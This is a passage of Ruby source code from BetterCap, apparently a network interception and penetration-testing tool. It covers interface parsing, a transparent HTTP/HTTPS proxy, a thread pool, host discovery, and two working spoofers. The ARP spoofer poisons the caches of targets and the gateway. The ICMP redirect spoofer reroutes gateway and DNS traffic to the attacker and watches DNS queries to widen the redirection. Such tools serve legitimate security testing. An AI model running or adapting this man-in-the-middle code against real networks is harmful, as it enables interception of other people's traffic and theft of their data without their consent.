ret[:ip_saddr] = $1 63 | ret[:ip_src] = [IPAddr.new($1).to_i].pack('N') 64 | ret[:ip4_obj] = IPAddr.new($1) 65 | ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3 66 | when /inet[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i 67 | ret[:ip_saddr] = $1 68 | ret[:ip_src] = [IPAddr.new($1).to_i].pack('N') 69 | ret[:ip4_obj] = IPAddr.new($1) 70 | ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3 71 | when /inet6 [a-z]+:[\s]*([0-9a-fA-F:\x2f]+)/ 72 | ret[:ip6_saddr] = $1 73 | ret[:ip6_obj] = IPAddr.new($1) 74 | when /ether[\s]+([0-9a-fA-F:]{17})/i 75 | ret[:eth_saddr] = $1.downcase 76 | ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) 77 | end 78 | end 79 | 80 | ret 81 | end 82 | 83 | def self.darwin_ifconfig(iface='eth0',ifconfig_data) 84 | BetterCap::Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}" 85 | 86 | ret = {} 87 | real_iface = ifconfig_data.first 88 | ret[:iface] = real_iface.split(':')[0] 89 | 90 | ifconfig_data.each do |s| 91 | case s 92 | when /ether[\s]([0-9a-fA-F:]{17})/i 93 | ret[:eth_saddr] = $1 94 | ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) 95 | when /inet[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+(0x[a-f0-9]+))?/i 96 | imask = 0 97 | if $3 98 | imask = $3.to_i(16).to_s(2).count("1") 99 | end 100 | 101 | ret[:ip_saddr] = $1 102 | ret[:ip_src] = [IPAddr.new($1).to_i].pack("N") 103 | ret[:ip4_obj] = IPAddr.new($1) 104 | ret[:ip4_obj] = ret[:ip4_obj].mask(imask) if imask 105 | when /inet6[\s]*([0-9a-fA-F:\x2f]+)/ 106 | ret[:ip6_saddr] = $1 107 | ret[:ip6_obj] = IPAddr.new($1) 108 | end 109 | end 110 | 111 | ret 112 | end 113 | end 114 | end 115 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/proxy.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | require 'socket' 14 | require 'uri' 15 | 16 | module BetterCap 17 | module Proxy 18 | # Transparent proxy class. 19 | class Proxy 20 | # Initialize the transparent proxy, making it listen on +address+:+port+ and 21 | # use the specified +processor+ routine for each request. 22 | # If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one. 23 | def initialize( address, port, is_https, processor ) 24 | @socket = nil 25 | @address = address 26 | @port = port 27 | @is_https = is_https 28 | @type = is_https ? 'HTTPS' : 'HTTP' 29 | @sslserver = nil 30 | @sslcontext = nil 31 | @server = nil 32 | @main_thread = nil 33 | @running = false 34 | @streamer = Streamer.new processor 35 | @local_ips = [] 36 | 37 | begin 38 | @local_ips = Socket.ip_address_list.collect { |x| x.ip_address } 39 | rescue 40 | Logger.warn 'Could not get local ips using Socket module, using Network.get_local_ips method.' 41 | 42 | @local_ips = Network.get_local_ips 43 | end 44 | 45 | BasicSocket.do_not_reverse_lookup = true 46 | 47 | @pool = ThreadPool.new( 4, 16 ) do |client| 48 | client_worker client 49 | end 50 | end 51 | 52 | # Start this proxy instance. 53 | def start 54 | begin 55 | @server = @socket = TCPServer.new( @address, @port ) 56 | 57 | if @is_https 58 | cert = Context.get.certificate 59 | 60 | @sslcontext = OpenSSL::SSL::SSLContext.new 61 | @sslcontext.cert = cert[:cert] 62 | @sslcontext.key = cert[:key] 63 | 64 | @server = @sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext ) 65 | end 66 | 67 | @main_thread = Thread.new &method(:server_thread) 68 | rescue Exception => e 69 | Logger.error "Error starting #{@type} proxy: #{e.inspect}" 70 | @socket.close unless @socket.nil? 71 | end 72 | end 73 | 74 | # Stop this proxy instance. 75 | def stop 76 | begin 77 | Logger.info "Stopping #{@type} proxy ..." 78 | 79 | if @socket and @running 80 | @running = false 81 | @socket.close 82 | @pool.shutdown false 83 | end 84 | rescue 85 | end 86 | end 87 | 88 | private 89 | 90 | # Main server thread, will accept incoming connections and push them to 91 | # the thread pool. 92 | def server_thread 93 | Logger.info "#{@type} Proxy started on #{@address}:#{@port} ...\n" 94 | 95 | @running = true 96 | 97 | while @running do 98 | begin 99 | @pool << @server.accept 100 | rescue Exception => e 101 | Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running 102 | end 103 | end 104 | 105 | @socket.close unless @socket.nil? 106 | end 107 | 108 | # Return true if the +request+ host header contains one of this computer 109 | # ip addresses. 110 | def is_self_request?(request) 111 | @local_ips.include? IPSocket.getaddress(request.host) 112 | end 113 | 114 | # Handle a new +client+. 115 | def client_worker( client ) 116 | request = Request.new @is_https ? 443 : 80 117 | 118 | begin 119 | Logger.debug 'Reading request ...' 120 | 121 | request.read(client) 122 | 123 | # someone is having fun with us =) 124 | if is_self_request? request 125 | @streamer.rickroll client, @is_https 126 | # handle request 127 | else 128 | @streamer.handle( request, client, @is_https ) 129 | end 130 | 131 | Logger.debug "#{@type} client served." 132 | 133 | rescue Exception => e 134 | if request.host 135 | Logger.warn "Error while serving #{request.host}#{request.url}: #{e.inspect}" 136 | Logger.debug e.backtrace.join("\n") 137 | end 138 | end 139 | 140 | client.close 141 | end 142 | end 143 | 144 | end 145 | end 146 | -------------------------------------------------------------------------------- /lib/bettercap/spoofers/arp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/spoofers/base' 13 | 14 | module BetterCap 15 | module Spoofers 16 | # This class is responsible of performing ARP spoofing on the network. 17 | class Arp < Base 18 | # Initialize the BetterCap::Spoofers::Arp object. 19 | def initialize 20 | @ctx = Context.get 21 | @gateway = nil 22 | @forwarding = @ctx.firewall.forwarding_enabled? 23 | @spoof_thread = nil 24 | @sniff_thread = nil 25 | @capture = nil 26 | @running = false 27 | 28 | update_gateway! 29 | end 30 | 31 | # Send a spoofed ARP reply to the target identified by the +daddr+ IP address 32 | # and +dmac+ MAC address, spoofing the +saddr+ IP address and +smac+ MAC 33 | # address as the source device. 34 | def send_spoofed_packet( saddr, smac, daddr, dmac ) 35 | pkt = PacketFu::ARPPacket.new 36 | pkt.eth_saddr = smac 37 | pkt.eth_daddr = dmac 38 | pkt.arp_saddr_mac = smac 39 | pkt.arp_daddr_mac = dmac 40 | pkt.arp_saddr_ip = saddr 41 | pkt.arp_daddr_ip = daddr 42 | pkt.arp_opcode = 2 43 | 44 | @ctx.packets.push(pkt) 45 | end 46 | 47 | # Start the ARP spoofing. 48 | def start 49 | Logger.debug "Starting ARP spoofer ( #{@ctx.options.half_duplex ? 'Half' : 'Full'} Duplex ) ..." 50 | 51 | stop() if @running 52 | @running = true 53 | 54 | if @ctx.options.kill 55 | Logger.warn "Disabling packet forwarding." 56 | @ctx.firewall.enable_forwarding(false) if @forwarding 57 | else 58 | @ctx.firewall.enable_forwarding(true) unless @forwarding 59 | end 60 | 61 | @sniff_thread = Thread.new { arp_watcher } 62 | @spoof_thread = Thread.new { arp_spoofer } 63 | end 64 | 65 | # Stop the ARP spoofing, reset firewall state and restore targets ARP table. 66 | def stop 67 | raise 'ARP spoofer is not running' unless @running 68 | 69 | Logger.debug 'Stopping ARP spoofer ...' 70 | Logger.debug "Resetting packet forwarding to #{@forwarding} ..." 71 | @ctx.firewall.enable_forwarding( @forwarding ) 72 | 73 | @running = false 74 | begin 75 | @spoof_thread.exit 76 | rescue 77 | end 78 | 79 | Logger.debug "Restoring ARP table of #{@ctx.targets.size} targets ..." 80 | 81 | @ctx.targets.each do |target| 82 | unless target.ip.nil? or target.mac.nil? 83 | spoof(target) 84 | end 85 | end 86 | end 87 | 88 | private 89 | 90 | # Send an ARP spoofing packet to +target+, if +restore+ is true it will 91 | # restore its ARP cache instead. 92 | def spoof( target, restore = false ) 93 | if restore 94 | send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac ) 95 | send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex 96 | else 97 | send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac ) 98 | send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex 99 | end 100 | end 101 | 102 | # Main spoofer loop. 103 | def arp_spoofer 104 | spoof_loop(1) { |target| 105 | unless target.ip.nil? or target.mac.nil? 106 | spoof(target, true) 107 | end 108 | } 109 | end 110 | 111 | # Return true if the +pkt+ packet is an ARP 'who-has' query coming 112 | # from some network endpoint. 113 | def is_arp_query?(pkt) 114 | # we're only interested in 'who-has' packets 115 | pkt.arp_opcode == 1 and \ 116 | pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \ 117 | pkt.arp_src_ip.to_s != @ctx.ifconfig[:ip_saddr] 118 | end 119 | 120 | # Will watch for incoming ARP requests and spoof the source address. 121 | def arp_watcher 122 | Logger.debug 'ARP watcher started ...' 123 | 124 | sniff_packets('arp') { |pkt| 125 | if is_arp_query?(pkt) 126 | Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is." 127 | send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.ifconfig[:eth_saddr], pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s 128 | end 129 | } 130 | end 131 | end 132 | end 133 | end 134 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/thread_pool.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'thread' 13 | 14 | module BetterCap 15 | module Proxy 16 | # Thread pool class used by the BetterCap::Proxy::Proxy. 17 | # Tnx to Puma ThreadPool! 18 | class ThreadPool 19 | 20 | # Maintain a minimum of +min+ and maximum of +max+ threads 21 | # in the pool. 22 | # 23 | # The block passed is the work that will be performed in each 24 | # thread. 25 | def initialize(min, max, *extra, &block) 26 | @not_empty = ConditionVariable.new 27 | @not_full = ConditionVariable.new 28 | @mutex = Mutex.new 29 | 30 | @todo = [] 31 | 32 | @spawned = 0 33 | @waiting = 0 34 | 35 | @min = Integer(min) 36 | @max = Integer(max) 37 | @block = block 38 | @extra = extra 39 | 40 | @shutdown = false 41 | 42 | @trim_requested = 0 43 | 44 | @workers = [] 45 | 46 | @mutex.synchronize do 47 | @min.times { spawn_thread } 48 | end 49 | end 50 | 51 | # Number of spawned threads in the pool. 52 | attr_reader :spawned 53 | 54 | # How many objects have yet to be processed by the pool? 55 | # 56 | def backlog 57 | @mutex.synchronize { @todo.size } 58 | end 59 | 60 | # :nodoc: 61 | # 62 | # Must be called with @mutex held! 63 | # 64 | def spawn_thread 65 | @spawned += 1 66 | 67 | th = Thread.new do 68 | todo = @todo 69 | block = @block 70 | mutex = @mutex 71 | not_empty = @not_empty 72 | not_full = @not_full 73 | 74 | extra = @extra.map { |i| i.new } 75 | 76 | while true 77 | work = nil 78 | 79 | continue = true 80 | 81 | mutex.synchronize do 82 | while todo.empty? 83 | if @trim_requested > 0 84 | @trim_requested -= 1 85 | continue = false 86 | break 87 | end 88 | 89 | if @shutdown 90 | continue = false 91 | break 92 | end 93 | 94 | @waiting += 1 95 | not_full.signal 96 | not_empty.wait mutex 97 | @waiting -= 1 98 | end 99 | 100 | work = todo.shift if continue 101 | end 102 | 103 | break unless continue 104 | 105 | begin 106 | block.call(work, *extra) 107 | rescue Exception 108 | end 109 | end 110 | 111 | mutex.synchronize do 112 | @spawned -= 1 113 | @workers.delete th 114 | end 115 | end 116 | 117 | @workers << th 118 | 119 | th 120 | end 121 | 122 | private :spawn_thread 123 | 124 | # Add +work+ to the todo list for a Thread to pickup and process. 125 | def <<(work) 126 | @mutex.synchronize do 127 | if @shutdown 128 | raise "Unable to add work while shutting down" 129 | end 130 | 131 | @todo << work 132 | 133 | if @waiting < @todo.size and @spawned < @max 134 | spawn_thread 135 | end 136 | 137 | @not_empty.signal 138 | end 139 | end 140 | 141 | def wait_until_not_full 142 | @mutex.synchronize do 143 | until @todo.size - @waiting < @max - @spawned or @shutdown 144 | @not_full.wait @mutex 145 | end 146 | end 147 | end 148 | 149 | # If too many threads are in the pool, tell one to finish go ahead 150 | # and exit. If +force+ is true, then a trim request is requested 151 | # even if all threads are being utilized. 152 | # 153 | def trim(force=false) 154 | @mutex.synchronize do 155 | if (force or @waiting > 0) and @spawned - @trim_requested > @min 156 | @trim_requested += 1 157 | @not_empty.signal 158 | end 159 | end 160 | end 161 | 162 | # If there are dead threads in the pool make them go away while decreasing 163 | # spawned counter so that new healthy threads could be created again. 164 | def reap 165 | @mutex.synchronize do 166 | dead_workers = @workers.reject(&:alive?) 167 | 168 | dead_workers.each do |worker| 169 | worker.kill 170 | @spawned -= 1 171 | end 172 | 173 | @workers -= dead_workers 174 | end 175 | end 176 | 177 | # Tell all threads in the pool to exit and wait for them to finish. 178 | # 179 | def shutdown( join_threads = true ) 180 | threads = @mutex.synchronize do 181 | @shutdown = true 182 | @not_empty.broadcast 183 | @not_full.broadcast 184 | # dup workers so that we join them all safely 185 | @workers.dup 186 | end 187 | 188 | threads.each(&:join) if join_threads 189 | 190 | @spawned = 0 191 | @workers = [] 192 | end 193 | end 194 | end 195 | end 196 | -------------------------------------------------------------------------------- /lib/bettercap/network/network.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'thread' 13 | 14 | module BetterCap 15 | # Handles various network related tasks. 16 | module Network 17 | class << self 18 | # Return true if +ip+ is a valid IP address, otherwise false. 19 | def is_ip?(ip) 20 | if /\A(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\Z/ =~ ip.to_s 21 | return $~.captures.all? {|i| i.to_i < 256} 22 | end 23 | false 24 | end 25 | 26 | # Return true if +mac+ is a valid MAC address, otherwise false. 27 | def is_mac?(mac) 28 | ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s ) 29 | end 30 | 31 | # Return the current network gateway or nil. 32 | def get_gateway 33 | nstat = Shell.execute('netstat -nr') 34 | 35 | Logger.debug "NETSTAT:\n#{nstat}" 36 | 37 | out = nstat.split(/\n/).select {|n| n =~ /UG/ } 38 | gw = nil 39 | out.each do |line| 40 | if line.include?( Context.get.options.iface ) 41 | tmp = line.split[1] 42 | if is_ip?(tmp) 43 | gw = tmp 44 | break 45 | end 46 | end 47 | end 48 | gw 49 | end 50 | 51 | # Return a list of IP addresses associated to this device network interfaces. 52 | def get_local_ips 53 | ips = [] 54 | 55 | Shell.ifconfig.split("\n").each do |line| 56 | if line =~ /inet [adr:]*([\d\.]+)/ 57 | ips << $1 58 | end 59 | end 60 | 61 | ips 62 | end 63 | 64 | # Return a list of BetterCap::Target objects found on the network, given a 65 | # BetterCap::Context ( +ctx+ ) and a +timeout+ in seconds for the operation. 66 | def get_alive_targets( ctx ) 67 | if ctx.options.should_discover_hosts? 68 | start_agents( ctx ) 69 | else 70 | Logger.debug 'Using current ARP cache.' 71 | end 72 | 73 | ArpReader.parse ctx 74 | end 75 | 76 | # Return the IP address associated with the +mac+ hardware address using the 77 | # given BetterCap::Context ( +ctx+ ). 78 | def get_ip_address( ctx, mac ) 79 | ip = ArpReader.find_mac( mac ) 80 | if ip.nil? 81 | start_agents( ctx ) 82 | ip = ArpReader.find_mac( mac ) 83 | end 84 | ip 85 | end 86 | 87 | # Return the hardware address associated with the specified +ip_address+ using 88 | # the +iface+ network interface. 89 | # The resolution will be performed for the specified number of +attempts+. 90 | def get_hw_address( iface, ip_address, attempts = 2 ) 91 | hw_address = ArpReader.find_address( ip_address ) 92 | 93 | if hw_address.nil? 94 | attempts.times do 95 | arp_pkt = PacketFu::ARPPacket.new 96 | 97 | arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr] 98 | arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff' 99 | arp_pkt.arp_daddr_mac = '00:00:00:00:00:00' 100 | arp_pkt.arp_saddr_ip = iface[:ip_saddr] 101 | arp_pkt.arp_daddr_ip = ip_address 102 | 103 | cap_thread = Thread.new do 104 | Context.get.packets.push(arp_pkt) 105 | 106 | target_mac = nil 107 | timeout = 0 108 | 109 | cap = PacketFu::Capture.new( 110 | iface: iface[:iface], 111 | start: true, 112 | filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}" 113 | ) 114 | 115 | begin 116 | Logger.debug 'Attempting to get MAC from packet capture ...' 117 | target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) } 118 | rescue Timeout::Error 119 | timeout += 0.1 120 | retry if target_mac.nil? && timeout <= 5 121 | end 122 | 123 | target_mac 124 | end 125 | hw_address = cap_thread.value 126 | 127 | break unless hw_address.nil? 128 | end 129 | end 130 | 131 | hw_address 132 | end 133 | 134 | private 135 | 136 | # Start discovery agents and wait for +ctx.timeout+ seconds for them to 137 | # complete their job. 138 | def start_agents( ctx ) 139 | [ 'Icmp', 'Udp', 'Arp' ].each do |name| 140 | BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx) 141 | end 142 | ctx.packets.wait_empty( ctx.timeout ) 143 | end 144 | 145 | # Search for the MAC address associated to +ip_address+ inside the +cap+ 146 | # PacketFu::Capture object. 147 | def get_mac_from_capture( cap, ip_address ) 148 | cap.stream.each do |p| 149 | arp_response = PacketFu::Packet.parse(p) 150 | target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == ip_address 151 | break target_mac unless target_mac.nil? 152 | end 153 | end 154 | 155 | end 156 | end 157 | end 158 | -------------------------------------------------------------------------------- /lib/bettercap/network/target.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | require 'socket' 14 | 15 | module BetterCap 16 | module Network 17 | # This class represents a target, namely a single endpoint device on the 18 | # network. 19 | class Target 20 | # The IP address of this device. 21 | attr_accessor :ip 22 | # The MAC address of the device network interface. 23 | attr_accessor :mac 24 | # Vendor of the device network interface if available. 25 | attr_accessor :vendor 26 | # NetBIOS hostname of the device if available. 27 | attr_accessor :hostname 28 | # True if the IP attribute of this target needs to be updated. 29 | attr_accessor :ip_refresh 30 | 31 | # Timeout in seconds for the NBNS hostname resolution request. 32 | NBNS_TIMEOUT = 30 33 | # UDP port for the NBNS hostname resolution request. 34 | NBNS_PORT = 137 35 | # Buffer size for the NBNS hostname resolution request. 36 | NBNS_BUFSIZE = 65536 37 | # NBNS hostname resolution request buffer. 38 | NBNS_REQUEST = "\x82\x28\x0\x0\x0\x1\x0\x0\x0\x0\x0\x0\x20\x43\x4B\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0\x0\x21\x0\x1" 39 | 40 | @@prefixes = nil 41 | 42 | # Create a +Target+ object given its +ip+ and (optional) +mac+ address. 43 | # The +ip+ argument could also be a MAC address itself, in this case the 44 | # ip address will be parsed from the computer ARP cache and updated 45 | # accordingly. 46 | def initialize( ip, mac=nil ) 47 | if Network.is_ip?(ip) 48 | @ip = ip 49 | @ip_refresh = false 50 | else 51 | @ip = nil 52 | mac = ip 53 | @ip_refresh = true 54 | end 55 | 56 | @mac = Target.normalized_mac(mac) unless mac.nil? 57 | @vendor = Target.lookup_vendor(@mac) unless mac.nil? 58 | @hostname = nil 59 | @resolver = Thread.new { resolve! } unless Context.get.options.no_target_nbns or @ip.nil? 60 | end 61 | 62 | # Return the integer representation of the +ip+ attribute which can be 63 | # used for sorting a list of +Target+ objects+ 64 | def sortable_ip 65 | @ip.split('.').inject(0) {|total,value| (total << 8 ) + value.to_i} 66 | end 67 | 68 | # +mac+ attribute setter, it will normalize the +value+ and perform 69 | # a vendor lookup. 70 | def mac=(value) 71 | @mac = Target.normalized_mac(value) 72 | @vendor = Target.lookup_vendor(@mac) if not @mac.nil? 73 | end 74 | 75 | # Return a verbose string representation of this object. 76 | def to_s(padding=true) 77 | if padding 78 | s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac ) 79 | else 80 | s = sprintf( '%s : %s', if @ip.nil? then '???' else @ip end, @mac ) 81 | end 82 | s += " / #{@hostname}" unless @hostname.nil? 83 | s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end 84 | s 85 | end 86 | 87 | # Return a compact string representation of this object. 88 | def to_s_compact 89 | if @hostname 90 | "#{@hostname}/#{@ip}" 91 | else 92 | @ip 93 | end 94 | end 95 | 96 | # Return true if this +Target+ is equal to the specified +ip+ and +mac+, 97 | # otherwise return false. 98 | def equals?(ip, mac) 99 | # compare by ip 100 | if mac.nil? 101 | return ( @ip == ip ) 102 | # compare by mac 103 | elsif !@mac.nil? and ( @mac == mac ) 104 | Logger.info "Found IP #{ip} for target #{@mac}!" if @ip.nil? 105 | @ip = ip 106 | return true 107 | end 108 | false 109 | end 110 | 111 | def self.normalized_mac(v) 112 | v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':') 113 | end 114 | 115 | private 116 | 117 | # Attempt to perform a NBNS name resolution for this target. 118 | def resolve! 119 | resp, sock = nil, nil 120 | begin 121 | sock = UDPSocket.open 122 | sock.send( NBNS_REQUEST, 0, @ip, NBNS_PORT ) 123 | resp = if select([sock], nil, nil, NBNS_TIMEOUT) 124 | sock.recvfrom(NBNS_BUFSIZE) 125 | end 126 | if resp 127 | @hostname = parse_nbns_response resp 128 | Logger.info "Found NetBIOS name '#{@hostname}' for address #{@ip}" 129 | end 130 | rescue Exception => e 131 | Logger.debug e 132 | ensure 133 | sock.close if sock 134 | end 135 | end 136 | 137 | # Given the +resp+ NBNS response, parse the hostname from it. 138 | def parse_nbns_response resp 139 | resp[0][57,15].to_s.strip 140 | end 141 | 142 | # Lookup the given +mac+ address in order to find its vendor. 143 | def self.lookup_vendor( mac ) 144 | if @@prefixes == nil 145 | Logger.debug 'Preloading hardware vendor prefixes ...' 146 | 147 | @@prefixes = {} 148 | filename = File.dirname(__FILE__) + '/hw-prefixes' 149 | File.open( filename ).each do |line| 150 | if line =~ /^([A-F0-9]{6})\s(.+)$/ 151 | @@prefixes[$1] = $2 152 | end 153 | end 154 | end 155 | 156 | @@prefixes[ mac.split(':')[0,3].join('').upcase ] 157 | end 158 | end 159 | end 160 | end 161 | -------------------------------------------------------------------------------- /lib/bettercap/spoofers/icmp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/spoofers/base' 13 | require 'net/dns' 14 | require 'resolv' 15 | 16 | module BetterCap 17 | module Spoofers 18 | # Class to create ICMP redirection packets. 19 | class ICMPRedirectPacket < PacketFu::Packet 20 | ICMP_REDIRECT = 5 21 | ICMP_REDIRECT_HOST = 1 22 | 23 | IP_PROTO_ICMP = 1 24 | IP_PROTO_UDP = 17 25 | 26 | include PacketFu::EthHeaderMixin 27 | include PacketFu::IPHeaderMixin 28 | include PacketFu::ICMPHeaderMixin 29 | include PacketFu::UDPHeaderMixin 30 | 31 | attr_accessor :eth_header, :ip_header, :icmp_header, :ip_encl_header 32 | 33 | # Create a ICMPRedirectPacket instance. 34 | def initialize(args={}) 35 | @eth_header = PacketFu::EthHeader.new(args).read(args[:eth]) 36 | 37 | @ip_header = PacketFu::IPHeader.new(args).read(args[:ip]) 38 | @ip_header.ip_proto = IP_PROTO_ICMP 39 | 40 | @icmp_header = PacketFu::ICMPHeader.new(args).read(args[:icmp]) 41 | @icmp_header.icmp_type = ICMP_REDIRECT 42 | @icmp_header.icmp_code = ICMP_REDIRECT_HOST 43 | 44 | @ip_encl_header = PacketFu::IPHeader.new(args).read(args[:ip]) 45 | @ip_encl_header.ip_proto = IP_PROTO_UDP 46 | 47 | @udp_dummy = PacketFu::UDPPacket.new 48 | @udp_dummy.udp_src = 53 49 | @udp_dummy.udp_dst = 53 50 | 51 | @ip_header.body = @icmp_header 52 | @eth_header.body = @ip_header 53 | 54 | @headers = [@eth_header, @ip_header, @icmp_header] 55 | super 56 | end 57 | 58 | # Update this packet with the correct +gateway+, +target+, +local+ address 59 | # and +address2redirect+. 60 | def update!( gateway, target, local, address2redirect ) 61 | @eth_header.eth_src = PacketFu::EthHeader.mac2str(gateway.mac) 62 | @ip_header.ip_saddr = gateway.ip 63 | 64 | @eth_header.eth_dst = PacketFu::EthHeader.mac2str(target.mac) 65 | @ip_header.ip_daddr = target.ip 66 | 67 | @udp_dummy.ip_saddr = target.ip 68 | @udp_dummy.ip_daddr = address2redirect 69 | @udp_dummy.recalc 70 | 71 | @icmp_header.body = local.split('.').collect(&:to_i).pack('C*') + 72 | @udp_dummy.ip_header.to_s 73 | 74 | recalc 75 | end 76 | end 77 | 78 | # This class is responsible of performing ICMP redirect attack on the network. 79 | class Icmp < Base 80 | # Initialize the BetterCap::Spoofers::Icmp object. 81 | def initialize 82 | @ctx = Context.get 83 | @forwarding = @ctx.firewall.forwarding_enabled? 84 | @gateway = nil 85 | @local = @ctx.ifconfig[:ip_saddr] 86 | @spoof_thread = nil 87 | @watch_thread = nil 88 | @running = false 89 | @entries = [ '8.8.8.8', '8.8.4.4', # Google DNS 90 | '208.67.222.222', '208.67.220.220' ] # OpenDNS 91 | 92 | update_gateway! 93 | end 94 | 95 | # Send ICMP redirect to the +target+, redirecting the gateway ip and 96 | # everything in the @entries list of addresses to us. 97 | def send_spoofed_packet( target ) 98 | ( [@gateway.ip] + @entries ).each do |address| 99 | begin 100 | Logger.debug "Sending ICMP Redirect to #{target.to_s_compact} redirecting #{address} to us ..." 101 | 102 | pkt = ICMPRedirectPacket.new 103 | pkt.update!( @gateway, target, @local, address ) 104 | @ctx.packets.push(pkt) 105 | rescue Exception => e 106 | Logger.debug "#{self.class.name} : #{e.message}" 107 | end 108 | end 109 | end 110 | 111 | # Start the ICMP redirect spoofing. 112 | def start 113 | Logger.debug "Starting ICMP redirect spoofer ..." 114 | 115 | stop() if @running 116 | @running = true 117 | 118 | if @ctx.options.kill 119 | Logger.warn "Disabling packet forwarding." 120 | @ctx.firewall.enable_forwarding(false) if @forwarding 121 | else 122 | @ctx.firewall.enable_forwarding(true) unless @forwarding 123 | end 124 | 125 | @ctx.firewall.enable_send_redirects(false) 126 | 127 | @spoof_thread = Thread.new { icmp_spoofer } 128 | @watch_thread = Thread.new { dns_watcher } 129 | end 130 | 131 | # Stop the ICMP redirect spoofing, reset firewall state. 132 | def stop 133 | raise 'ICMP redirect spoofer is not running' unless @running 134 | 135 | Logger.debug 'Stopping ICMP redirect spoofer ...' 136 | Logger.debug "Resetting packet forwarding to #{@forwarding} ..." 137 | @ctx.firewall.enable_forwarding( @forwarding ) 138 | 139 | @running = false 140 | begin 141 | @spoof_thread.exit 142 | rescue; end 143 | 144 | begin 145 | @workers.map(&:exit) 146 | rescue; end 147 | end 148 | 149 | private 150 | 151 | # Return true if the +pkt+ packet comes from one of our targets. 152 | def is_interesting_packet?(pkt) 153 | return false if pkt.ip_saddr == @local 154 | @ctx.targets.each do |target| 155 | if target.ip and ( target.ip == pkt.ip_saddr or target.ip == pkt.ip_daddr ) 156 | return true 157 | end 158 | end 159 | false 160 | end 161 | 162 | # DNS watcher logic. 163 | def dns_watcher 164 | Logger.debug 'DNS watcher started ...' 165 | 166 | sniff_packets('udp and port 53') { |pkt| 167 | next unless is_interesting_packet?(pkt) 168 | 169 | dns = Net::DNS::Packet.parse(pkt.payload) rescue nil 170 | next if dns.nil? 171 | 172 | Logger.debug dns.inspect 173 | 174 | if dns.header.anCount > 0 175 | dns.answer.each do |a| 176 | if a.respond_to?(:address) 177 | Logger.debug "[DNS] Redirecting #{a.address.to_s} ..." 178 | @entries << a.address.to_s unless @entries.include?(a.address.to_s) 179 | end 180 | end 181 | end 182 | 183 | if dns.header.qdCount > 0 184 | name = dns.question.first.qName 185 | if name =~ /\.$/ 186 | name = name[0,name.size-1] 187 | end 188 | Logger.info "[#{'DNS'.green}] #{pkt.ip_saddr} is requesting '#{name}' address ..." 189 | Resolv.each_address(name) do |ip| 190 | @entries << ip unless @entries.include?(ip) 191 | end 192 | end 193 | } 194 | end 195 | 196 | # Main 